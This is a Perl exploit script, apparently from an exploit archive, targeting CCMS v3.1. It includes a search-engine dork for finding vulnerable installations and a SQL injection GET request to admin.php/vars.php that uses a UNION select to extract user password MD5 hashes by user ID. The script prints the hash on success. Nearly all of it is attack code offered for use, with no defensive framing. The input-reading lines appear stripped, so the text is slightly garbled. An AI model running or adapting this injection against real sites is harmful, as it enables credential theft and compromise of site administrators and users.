#!/usr/bin/perl #Found by Pr0metheuS #Coded by Pr0metheuS #Gr33tz-Team #Dork : intitle:"CCMS v3.1 Demo PW" print "______________________________________\n"; print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n"; print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n"; print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n"; print "______________________________________\n"; print "[+] Enter SITE:\n"; $SITE = ; chomp $SITE; print "[+] Enter PATH:\n"; $PATH = ; chomp $PATH; print "[+] Enter USERID:\n"; $USERID = ; chomp $USERID; print "______________________________________\n"; #Send Request use LWP::UserAgent; $ua = new LWP::UserAgent; $ua->agent("Mozilla/8.0"); $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(GET => "$SITE$PATH/admin.php/vars.php?page=Console&p=1'+union+select+userid,2,3,PASSWORD+from+user+where+userid=$USERID/*"); $req->header('Accept' => 'text/html'); $res = $ua->request($req); $con = $res->content; #FIND MD5 IN TEXT REGEX !!! if ($con =~ "/([0-9a-fA-F]{32})/") { print "______________________________________\n"; print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n"; print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n"; print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n"; print "[+] Exploit successful!\n"; print "[+] USERID:$USERID\n"; print "[+] MD5:$1\n"; print "______________________________________\n"; } else{ print "______________________________________\n"; print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; print "-=-=-=-=-=-=+By Pr0metheus..+-=-=-=-=|\n"; print "-=-=-=-=-=-=+Gr33tz to :+-=-=-=-=|\n"; print "-=-=-=-=-=-=+pawel2827, d3d!k, J4Z0, chez, fir3+-=-=-=-=|\n"; print "[+] Exploit Failed!\n"; }